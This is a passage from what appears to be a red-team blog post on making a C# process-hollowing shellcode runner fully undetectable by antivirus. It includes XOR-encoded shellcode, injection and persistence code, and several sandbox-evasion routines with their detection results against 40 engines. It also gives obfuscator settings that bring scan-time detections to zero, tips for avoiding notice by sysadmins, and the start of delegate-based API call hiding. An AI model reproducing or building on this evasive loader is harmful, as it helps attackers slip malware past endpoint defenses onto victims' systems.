class="p">,</span> <span class="m">0x68</span><span class="p">,</span> <span class="m">0xec</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0x98</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xaf</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xbe</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x0e</span><span class="p">,</span> <span class="m">0xc8</span><span class="p">,</span> <span class="m">0x1c</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x7d</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xb9</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x0f</span><span class="p">,</span> <span class="m">0xa8</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0xb9</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0x9a</span><span class="p">,</span> <span class="m">0x67</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x70</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0xa0</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xaf</span> <span class="p">};</span>
            <span class="c1">//// XOR decrypt, key is set to z</span>
            <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">i</span> <span class="p">&lt;</span> <span class="n">buf</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span> <span class="n">i</span><span class="p">++)</span>
            <span class="p">{</span>
                <span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">=</span> <span class="p">(</span><span class="kt">byte</span><span class="p">)(</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">^</span> <span class="p">(</span><span class="kt">byte</span><span class="p">)</span><span class="sc">'z'</span><span class="p">);</span>
            <span class="p">}</span>
            <span class="nf">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">addressOfEntryPoint</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">buf</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="k">out</span> <span class="n">nRead</span><span class="p">);</span>
            <span class="nf">ResumeThread</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
            <span class="c1">// After shellcode execution run startup persistence</span>
            <span class="n">Persistence</span><span class="p">.</span><span class="nf">ExecOnStartup</span><span class="p">();</span>
        <span class="p">}</span> 
</code></pre></div></div>

<p>During my research, I did suspect that obtaining persistence through registry modification would likely increase the detection rate.</p>

<p>There are stealthier ways of achieving persistence, but I wanted a simple solution.</p>

<p>In the future, I may modify the shellcode runner to be persistent without writing to the registry, but that’s a project for a different day.</p>

<h3 id="testing-the-emulator-bypasses">Testing the Emulator Bypasses</h3>

<p>I began by testing the version of the PE containing all of the emulator bypass techniques:</p>

<p><img src="/assets/images/all-sandbox-evasion-results-746x1024.png" alt="all-sandbox-evasion-results" /></p>

<p>We are down to a detection rating of 10/40 versus the 15/40 rating for the previous version without sandbox evasion.</p>

<p>Notably, the sandbox evasion techniques managed to outsmart Avast, Avira, AVG, Norman, and VirusFighter.</p>

<p>Let’s continue by testing each individual emulator bypass.</p>

<h4 id="filename-check-bypass">Filename Check Bypass</h4>

<p>The first technique I tested was the filename check.</p>

<p>How does this bypass work?</p>

<p>When antivirus software attempts to run the program in a sandboxed environment, it often changes the filename.</p>

<p>Therefore, by implementing code to check if the filename has been changed, we can determine if the program is being run within a sandbox.</p>

<p>If the filename changes, the program terminates before reaching the <strong>Run</strong> method responsible for the process hollowing.</p>

<p>Since the malicious portion of the code is never executed within the sandbox, the file appears to be clean to the antivirus.</p>

<p>So what are the results?</p>

<p><img src="/assets/images/filename-check-results-746x1024.png" alt="filename-check-results" /></p>

<h4 id="non-emulated-apis-bypass">Non-Emulated APIs Bypass</h4>

<p>The second technique I tested was using non-emulated APIs.</p>

<p>How does this bypass work?</p>

<p>When our program is executed within an emulator by the antivirus, the sandbox attempts to mimic the native operating system.</p>

<p>However, some of the less common Win32 APIs are not properly emulated within the sandbox environment.</p>

<p>Two Win32 APIs which are notoriously hard for antivirus to emulate are <strong>VirtualAllocExNuma</strong> and <strong>FlsAlloc</strong>.</p>

<p>These were the APIs I chose to employ in my bypass.</p>

<p>In the <strong>NonEmulatedAPIs()</strong> method shown above, <strong>VirtualAllocExNuma</strong> allocates a region of memory in the address space of the current process.</p>

<p>The <strong>FlsAlloc</strong> function allocates a new FLS index. FLS is a feature in Windows for associating thread-specific data with a fiber (a lightweight thread).</p>

<p>After each API call, there’s a check to see if the returned value is equal to <strong>IntPtr.Zero</strong>, which indicates that the allocation failed. If allocation fails for either <strong>VirtualAllocExNuma</strong> or <strong>FlsAlloc</strong>, the we exit early without performing any further actions.</p>

<p>Since the sandbox is not able to properly emulate these APIs, the allocation will always fail.</p>

<p>Therefore, the malicious code remains undetected.</p>

<p><img src="/assets/images/non-emulated-apis-results-746x1024.png" alt="non-emulated-apis-results" /></p>

<h4 id="sleep-timer-bypass">Sleep Timer Bypass</h4>

<p>One of the oldest heuristics bypasses in the book is sleep timers.</p>

<p>How does this bypass work?</p>

<p>When our program is executed within the emulator, and the heuristics engine encounters a sleep instruction, it will “fast forward” through the delay to the point where the application resumes execution.</p>

<p>Since we know that the emulator will attempt to “fast forward” through this sleep delay, we can abuse this to construct a bypass.</p>

<p>By using the <strong>DateTime</strong> object with the <strong>Now</strong> method to retrieve the local system’s current date and time and then comparing that to the amount of time elapsed, we can determine if the entire two seconds that we set our sleep timer to delay has fully elapsed or if it has completed earlier than expected.</p>

<p>If the time lapse is less than 1.5 seconds, we can assume that the call was emulated and exit before the malicious code is reached.</p>

<p><img src="/assets/images/sleep-timer-results-746x1024.png" alt="sleep-timer-results" /></p>

<h4 id="fill-memory-bypass">Fill Memory Bypass</h4>

<p>This bypass works by allocating a large portion of memory by filling it with a 1 GB byte array and then attempting to zero out the memory allocated.</p>

<p>The theory is that the emulator will forgo zeroing out this large allocation of memory, thus ceasing execution before reaching the malicious portion of the program.</p>

<p>Depending on the use case for this technique, if you are not worried about detection due to system monitoring, you could leave it at 1 GB.</p>

<p>If you are more interested in staying hidden from system monitoring or sysadmins that may pick up on the large amount of memory that this will cause the shellcode runner to use, I suggest reducing it to 100 MB of memory.</p>

<p>As a svchost.exe process, utilizing 1 GB of memory on a Windows system will stick out like a sore thumb, so modify this as you see fit.</p>

<p>100 MB of memory is more than enough to screw up the emulator.</p>

<p>However, I must say that svchost.exe, using even 100 MB of memory on the bare-metal host, will likely raise some eyebrows as well, so that is the main caveat of this technique.</p>

<p><img src="/assets/images/fill-memory-results-746x1024.png" alt="fill-memory-results" /></p>

<h4 id="many-iterations-bypass">Many Iterations Bypass</h4>

<p>The last emulation bypass technique I tested with this variant of shellcode runner was the “Many Iterations” technique.</p>

<p>This technique utilizes a for loop to perform a basic operation nine hundred million times.</p>

<p>While this number may seem high, this is nothing for a modern CPU to handle and will not even cause a noticeable delay when executing the shellcode runner.</p>

<p>However, this level of operation <em>is</em> quite taxing for an emulator to perform.</p>

<p>Since the emulator cannot handle this, it will often keep the heuristics engine from emulating the rest of the program, thus keeping the malicious portion of the code from being analyzed.</p>

<p><img src="/assets/images/many-iterations-results-746x1024.png" alt="many-iterations-results" /></p>

<h4 id="and-then-there-was-one">And Then There Was One…​​​</h4>

<p>As you can see, each sandbox evasion technique I employed with this variant of shellcode runner produced the same detection rating.</p>

<p>All of these bypasses were effective in evading Avast, Avira, AVG, Norman, and VirusFighter.</p>

<p>From these results, I inferred that these antivirus vendors were relatively weak to emulation bypasses.</p>

<p>Therefore, if you are on an engagement where the target environment employs one of these antivirus solutions, sandbox evasion may help you. 😉</p>

<p>However, in my case, this would only get me a little bit closer on my path to FUD.</p>

<p>Given that each technique appeared equally effective, I determined I would employ just one sandbox evasion technique in my program.</p>

<p>In my scenario, I wanted an effective sandbox evasion technique while reducing the use of Win32 APIs or any other extraneous functionality that might give an AV engine reason to raise the red flag.</p>

<p>I also wanted something that would not consume a large amount of system resources, such as the “Fill Memory” technique, to not stand out to end-users or system monitors.</p>

<p>Therefore, I settled on using the “Many Iterations” technique.</p>

<p>My favorite thing about this technique is that it does not rely on directly interacting with low-level memory management or external resources like Win32 APIs.</p>

<p>Since this managed code simply uses standard C# constructs, such as variables, loops, and conditional statements, we decrease the odds of the AV engine detecting us.</p>

<p>The <strong>ManyIterations()</strong> method contains a loop that iterates max times and increments the count variable in each iteration. After the loop, it checks whether the count variable is equal to max and returns if the condition is met.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">count</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> 
</code></pre></div></div>

<p>Initializes a variable named <code class="language-plaintext highlighter-rouge">count</code> to 0.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">max</span> <span class="p">=</span> <span class="m">900000000</span><span class="p">;</span> 
</code></pre></div></div>

<p>Initializes a variable named <code class="language-plaintext highlighter-rouge">max</code> to 900,000,000.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">i</span> <span class="p">&lt;</span> <span class="n">max</span><span class="p">;</span> <span class="n">i</span><span class="p">++)</span> 
</code></pre></div></div>

<p>Starts a <code class="language-plaintext highlighter-rouge">for</code> loop that iterates from <code class="language-plaintext highlighter-rouge">i = 0</code> to <code class="language-plaintext highlighter-rouge">i &lt; max</code>, which means it will run <code class="language-plaintext highlighter-rouge">max</code> times.</p>

<p>Inside the loop, <code class="language-plaintext highlighter-rouge">count++;</code> increments the <code class="language-plaintext highlighter-rouge">count</code> variable by 1 in each iteration.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>            <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">i</span> <span class="p">&lt;</span> <span class="n">max</span><span class="p">;</span> <span class="n">i</span><span class="p">++)</span>
            <span class="p">{</span>
                <span class="n">count</span><span class="p">++;</span>
            <span class="p">}</span> 
</code></pre></div></div>

<p>After the loop, there’s an <code class="language-plaintext highlighter-rouge">if</code> statement: <code class="language-plaintext highlighter-rouge">if (count == max)</code>.</p>

<p>It checks whether the <code class="language-plaintext highlighter-rouge">count</code> variable is equal to <code class="language-plaintext highlighter-rouge">max</code>.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>            <span class="k">if</span> <span class="p">(</span><span class="n">count</span> <span class="p">==</span> <span class="n">max</span><span class="p">)</span>
            <span class="p">{</span>
                <span class="k">return</span><span class="p">;</span>
            <span class="p">}</span> 
</code></pre></div></div>

<p>If the condition in the <code class="language-plaintext highlighter-rouge">if</code> statement is true (i.e., if the loop completed <code class="language-plaintext highlighter-rouge">max</code> iterations), it returns from the method using <code class="language-plaintext highlighter-rouge">return;</code>. This implies that the method will terminate when <code class="language-plaintext highlighter-rouge">count</code> becomes equal to <code class="language-plaintext highlighter-rouge">max</code>.</p>

<p>In short, if the loop completed <code class="language-plaintext highlighter-rouge">max</code> iterations, we assume we are not in an emulator and continue execution.</p>

<p>If the loop does not complete <code class="language-plaintext highlighter-rouge">max</code> iterations, we do not continue execution.</p>

<p>Since the emulator will never complete all of the iterations, it will never return, thus causing the evil portion of the code to never be analyzed.</p>

<p>After deciding to use only the “Many Iterations” technique, I exported the project template from the original “HollowGhost” program and created a new version containing only this bypass technique.</p>

<p>So in the new project, with the very unique name “HollowGhost2”, the <strong>Evasion.cs</strong> class code now looks like this:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">namespace</span> <span class="nn">HollowGhost2.Modules.Evasion</span>
<span class="p">{</span>
    <span class="k">internal</span> <span class="k">class</span> <span class="nc">Evasion</span>
    <span class="p">{</span>
        <span class="c1">// Perform for loop 900 million times, this is not a lot for a modern CPU but is enough to trick up an emulator, continue execution flow after complete</span>
        <span class="k">public</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">ManyIterations</span><span class="p">()</span>
        <span class="p">{</span>
            <span class="kt">int</span> <span class="n">count</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>
            <span class="kt">int</span> <span class="n">max</span> <span class="p">=</span> <span class="m">900000000</span><span class="p">;</span>
            <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">i</span> <span class="p">&lt;</span> <span class="n">max</span><span class="p">;</span> <span class="n">i</span><span class="p">++)</span>
            <span class="p">{</span>
                <span class="n">count</span><span class="p">++;</span>
            <span class="p">}</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">count</span> <span class="p">==</span> <span class="n">max</span><span class="p">)</span>
            <span class="p">{</span>
                <span class="k">return</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span> 
</code></pre></div></div>

<p>The <strong>Main</strong> method:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="c1">// Run sandbox/emulation evasion first before executing our shellcode</span>
            <span class="c1">// Perform many iterations of for loop, 900 million, to trip up emulator</span>
            <span class="n">Evasion</span><span class="p">.</span><span class="nf">ManyIterations</span><span class="p">();</span>
            <span class="c1">// After evasion is performed we finally call the runner</span>
            <span class="nf">Run</span><span class="p">();</span>
        <span class="p">}</span> 
</code></pre></div></div>

<h2 id="cheating-my-way-to-fud-with-obfuscators">Cheating My Way To FUD With Obfuscators</h2>

<p>At this point in my research, I played around with some third-party .NET obfuscators.</p>

<p>Prior to this, I had tested numerous free .NET obfuscators with other shellcode runners, but the two most effective free obfuscators I had found were <a href="https://secureteam.net/acode-download">Agile.NET</a> and <a href="https://www.babelfor.net/">Babel</a>.</p>

<p>Both of these have paid and free versions, but I utilized the free versions for all of my testing.</p>

<p>I found that by tweaking the settings in Babel, I could get the detection rate down to 1/40.</p>

<p>These were the settings I used:</p>

<p><img src="/assets/images/advanced-babel-settings.png" alt="advanced-babel-settings" /></p>

<p>This allowed me to obfuscate the control flow of the program using the “goto” algorithm.</p>

<p>Additionally, I set it to encrypt all strings with XOR.</p>

<p><img src="/assets/images/babel-obfuscated-1-40-detect-rate-741x1024.png" alt="babel-obfuscated-1-40-detect-rate" /></p>

<p>While this dramatically reduced the detection rate, I could not bypass ESET NOD32.</p>

<p>It was at this point that NOD32 became my personal nemesis. 😤</p>

<p>I went down a deep rabbit hole trying to determine what specifically was causing NOD32 to flag the shellcode runner.</p>

<p>I concluded that the detection had to be heuristic or behavioral.</p>

<p>I set up a Windows 11 VM with a trial version of NOD32, but could not deduce how it was detecting the shellcode runner.</p>

<p>So, I began to search for any information I could find about how ESET NOD32 performs its analysis.</p>

<p>But as you might expect, this search was futile as AV vendors are incentivized to keep their detection methods a secret.</p>

<p>The cat and mouse game would be a lot less fun to take part in if they didn’t. 🐈‍⬛</p>

<p>After much more trial and error than I could fit in this one post, I went back and tried using the Agile.NET third-party obfuscator to see if this would finally get me past ESET.</p>

<p>Within the free version of Agile.NET, I configured the settings to perform code encryption, control flow obfuscation, method call obfuscation, string obfuscation, and renaming.</p>

<p>So, did this get past NOD32?</p>

<p><img src="/assets/images/agile-net-obfuscator-1-40-detection-rate-743x1024.png" alt="agile-net-obfuscator-1-40-detection-rate" /></p>

<p>Yeah, it did, just for it to get flagged by IKARUS…</p>

<p>At this point in my quest to determine what specific part of my shellcode runner was causing the detection, I turned to an awesome tool by Matt Hand called DefenderCheck:</p>

<p><a href="https://github.com/matterpreter/DefenderCheck">https://github.com/matterpreter/DefenderCheck</a></p>

<p>I booted up another Windows 11 virtual machine with Microsoft Defender configured and ran the tool against the unobfuscated version of my executable.</p>

<p><img src="/assets/images/defender-check-with-persistence-code.png" alt="defender-check-with-persistence-code" /></p>

<p>Remember how I said earlier that the persistence code I implemented would come back to bite me in the ass? Well, here it is, and it quite literally would “byte” me in the ass.</p>

<p>If you look closely at the ASCII representation of the bad bytes in the file, you will notice that the persistence code that writes to the registry is triggering the detection by Windows Defender, as well as the Win32 API calls:</p>

<p><img src="/assets/images/registry-underlined-defender-check.png" alt="registry-underlined-defender-check" /></p>

<p>One problem at a time.</p>

<p>I will get back to the API problem later in this post.</p>

<p>First, we gotta get rid of that persistence code.</p>

<p>After removing the <strong>Persistence.cs</strong> external class and the related method call and namespace from the shellcode runner, I obfuscated the new version of the PE with Agile.NET once more.</p>

<p>What were the results?</p>

<p><img src="/assets/images/no-persistence-agile-obfuscated-results-741x1024.png" alt="no-persistence-agile-obfuscated-results" /></p>

<p>Haha, I was finally undetectable at scan-time!</p>

<p>However…</p>

<p>I’ve never been satisfied with taking the easy way out of things, and this was no different.</p>

<p>While I had achieved no detections at scan-time, I had done it through the use of third-party obfuscators.</p>

<p>Without using the Agile.NET obfuscator, my detection rating was still at 6/40.</p>

<p><img src="/assets/images/no-obfuscation-no-persistence-results-740x1024.png" alt="no-obfuscation-no-persistence-results" /></p>

<p>Most importantly, I was still being detected by Microsoft Defender without a third-party obfuscator.</p>

<p>I couldn’t rest until I was completely undetectable at scan-time and runtime against Microsoft Defender.</p>

<p>Therefore, I knew I would have to employ a more creative approach, so it was back to the drawing board.</p>

<h2 id="byof-bringing-my-own-functions-to-the-party">BYOF: Bringing My Own Functions to the Party</h2>

<p>While I slightly lowered the detection rate by removing the persistence code from my program, the API issue remained.</p>

<p>When running DefenderCheck against the new version of the shellcode runner that does not contain the persistence code, you can see that several of the Win32 APIs I employed are shown within the bad bytes:</p>

<p><img src="/assets/images/defender-check-api-bad-bytes-underlined.png" alt="defender-check-api-bad-bytes-underlined" /></p>

<p>Given these results, I knew I needed to find a way to call all of the Win32 API functions responsible for performing the process hollowing injection without the antivirus engines noticing.</p>

<p>This was much easier said than done, but I found a way after a lot of experimentation.</p>

<p>I realized that I could create delegate functions for each of the Win32 APIs and use wrapper methods to call them.</p>

<p>This way, I could obfuscate the usage of the Win32 API functions while still maintaining the functionality of the shellcode runner.</p>

<p>“Why not use D/Invoke?”</p>

<p>D/Invoke is a fantastic resource, but I was more interested in finding a way to do this myself and see if my implementation would be effective despite using P/Invoke imports.</p>

<p>Firstly, the structures at the start of the runner and the DLL imports themselves must remain unobfuscated, or else functionality will be broken.</p>

<p>(More specifically, I don’t know of a way to obfuscate the imports without using D/Invoke.)</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="k">internal</span> <span class="k">class</span> <span class="nc">Program</span>
    <span class="p">{</span>
        <span class="p">[</span><span class="nf">StructLayout</span><span class="p">(</span><span class="n">LayoutKind</span><span class="p">.</span><span class="n">Sequential</span><span class="p">,</span> <span class="n">CharSet</span> <span class="p">=</span> <span class="n">CharSet</span><span class="p">.</span><span class="n">Ansi</span><span class="p">)]</span>
        <span class="k">private</span> <span class="k">struct</span> <span class="nc">STARTUPINFO</span>
        <span class="p">{</span>
            <span class="k">public</span> <span class="n">Int32</span> <span class="n">cb</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">lpReserved</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">lpDesktop</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">lpTitle</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">Int32</span> <span class="n">dwX</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">Int32</span> <span class="n">dwY</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">Int32</span> <span class="n">dwXSize</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">Int32</span> <span class="n">dwYSize</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">Int32</span> <span class="n">dwXCountChars</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">Int32</span> <span class="n">dwYCountChars</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">Int32</span> <span class="n">dwFillAttribute</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">Int32</span> <span class="n">dwFlags</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">Int16</span> <span class="n">wShowWindow</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">Int16</span> <span class="n">cbReserved2</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">lpReserved2</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">hStdInput</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">hStdOutput</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">hStdError</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="p">[</span><span class="nf">StructLayout</span><span class="p">(</span><span class="n">LayoutKind</span><span class="p">.</span><span class="n">Sequential</span><span class="p">)]</span>
        <span class="k">internal</span> <span class="k">struct</span> <span class="nc">PROCESS_INFORMATION</span>
        <span class="p">{</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">hProcess</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">hThread</span><span class="p">;</span>
            <span class="k">public</span> <span class="kt">int</span> <span class="n">dwProcessId</span><span class="p">;</span>
            <span class="k">public</span> <span class="kt">int</span> <span class="n">dwThreadId</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="p">[</span><span class="nf">StructLayout</span><span class="p">(</span><span class="n">LayoutKind</span><span class="p">.</span><span class="n">Sequential</span><span class="p">)]</span>
        <span class="k">internal</span> <span class="k">struct</span> <span class="nc">PROCESS_BASIC_INFORMATION</span>
        <span class="p">{</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">Reserved1</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">PebAddress</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">Reserved2</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">Reserved3</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">UniquePid</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">MoreReserved</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32.dll"</span><span class="p">,</span> <span class="n">SetLastError</span> <span class="p">=</span> <span class="k">true</span><span class="p">,</span> <span class="n">CharSet</span> <span class="p">=</span> <span class="n">CharSet</span><span class="p">.</span><span class="n">Ansi</span><span class="p">)]</span>
        <span class="k">static</span> <span class="k">extern</span> <span class="kt">bool</span> <span class="nf">CreateProcess</span><span class="p">(</span><span class="kt">string</span> <span class="n">lpApplicationName</span><span class="p">,</span> <span class="kt">string</span> <span class="n">lpCommandLine</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lpProcessAttributes</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lpThreadAttributes</span><span class="p">,</span> <span class="kt">bool</span> <span class="n">bInheritHandles</span><span class="p">,</span> <span class="kt">uint</span> <span class="n">dwCreationFlags</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lpEnvironment</span><span class="p">,</span> <span class="kt">string</span> <span class="n">lpCurrentDirectory</span><span class="p">,</span> <span class="p">[</span><span class="n">In</span><span class="p">]</span> <span class="k">ref</span> <span class="n">STARTUPINFO</span> <span class="n">lpStartupInfo</span><span class="p">,</span> <span class="k">out</span> <span class="n">PROCESS_INFORMATION</span> <span class="n">lpProcessInformation</span><span class="p">);</span>
        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"ntdll.dll"</span><span class="p">,</span> <span class="n">CallingConvention</span> <span class="p">=</span> <span class="n">CallingConvention</span><span class="p">.</span><span class="n">StdCall</span><span class="p">)]</span>
        <span class="k">private</span> <span class="k">static</span> <span class="k">extern</span> <span class="kt">int</span> <span class="nf">ZwQueryInformationProcess</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hProcess</span><span class="p">,</span> <span class="kt">int</span> <span class="n">procInformationClass</span><span class="p">,</span> <span class="k">ref</span> <span class="n">PROCESS_BASIC_INFORMATION</span> <span class="n">procInformation</span><span class="p">,</span> <span class="kt">uint</span> <span class="n">ProcInfoLen</span><span class="p">,</span> <span class="k">ref</span> <span class="kt">uint</span> <span class="n">retlen</span><span class="p">);</span>
        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32.dll"</span><span class="p">,</span> <span class="n">SetLastError</span> <span class="p">=</span> <span class="k">true</span><span class="p">)]</span>
        <span class="k">static</span> <span class="k">extern</span> <span class="kt">bool</span> <span class="nf">ReadProcessMemory</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lpBaseAddress</span><span class="p">,</span> <span class="p">[</span><span class="n">Out</span><span class="p">]</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">lpBuffer</span><span class="p">,</span> <span class="kt">int</span> <span class="n">dwSize</span><span class="p">,</span> <span class="k">out</span> <span class="n">IntPtr</span> <span class="n">lpNumberOfBytesRead</span><span class="p">);</span>
        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32.dll"</span><span class="p">,</span> <span class="n">SetLastError</span> <span class="p">=</span> <span class="k">true</span><span class="p">)]</span>
        <span class="k">public</span> <span class="k">static</span> <span class="k">extern</span> <span class="kt">bool</span> <span class="nf">WriteProcessMemory</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lpBaseAddress</span><span class="p">,</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">lpBuffer</span><span class="p">,</span> <span class="n">Int32</span> <span class="n">nSize</span><span class="p">,</span> <span class="k">out</span> <span class="n">IntPtr</span> <span class="n">lpNumberOfBytesWritten</span><span class="p">);</span>
        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32.dll"</span><span class="p">,</span> <span class="n">SetLastError</span> <span class="p">=</span> <span class="k">true</span><span class="p">)]</span>
        <span class="k">private</span> <span class="k">static</span> <span class="k">extern</span> <span class="kt">uint</span> <span class="nf">ResumeThread</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hThread</span><span class="p">);</span> 
</code></pre></div></div>

<p>Now, I had to create custom delegate functions for each of the DLL imports; these delegates are used to store references to the imported functions:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="c1">// Custom delegate functions for the DLL imports</span>
        <span class="k">private</span> <span class="k">delegate</span> <span class="kt">bool</span> <span class="nf">M1</span><span class="p">(</span><span class="kt">string</span> <span class="n">lpApplicationName</span><span class="p">,</span> <span class="kt">string</span> <span class="n">lpCommandLine</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lpProcessAttributes</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lpThreadAttributes</span><span class="p">,</span> <span class="kt">bool</span> <span class="n">bInheritHandles</span><span class="p">,</span> <span class="kt">uint</span> <span class="n">dwCreationFlags</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lpEnvironment</span><span class="p">,</span> <span class="kt">string</span> <span class="n">lpCurrentDirectory</span><span class="p">,</span> <span class="p">[</span><span class="n">In</span><span class="p">]</span> <span class="k">ref</span> <span class="n">STARTUPINFO</span> <span class="n">lpStartupInfo</span><span class="p">,</span> <span class="k">out</span> <span class="n">PROCESS_INFORMATION</span> <span class="n">lpProcessInformation</span><span class="p">);</span>
        <span class="k">private</span> <span class="k">delegate</span> <span class="kt">int</span> <span class="nf">M2</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hProcess</span><span class="p">,</span> <span class="kt">int</span> <span class="n">procInformationClass</span><span class="p">,</span> <span class="k">ref</span> <span class="n">PROCESS_BASIC_INFORMATION</span> <span class="n">procInformation</span><span class="p">,</span> <span class="kt">uint</span> <span class="n">ProcInfoLen</span><span class="p">,</span> <span class="k">ref</span> <span class="kt">uint</span> <span class="n">retlen</span><span class="p">);</span>
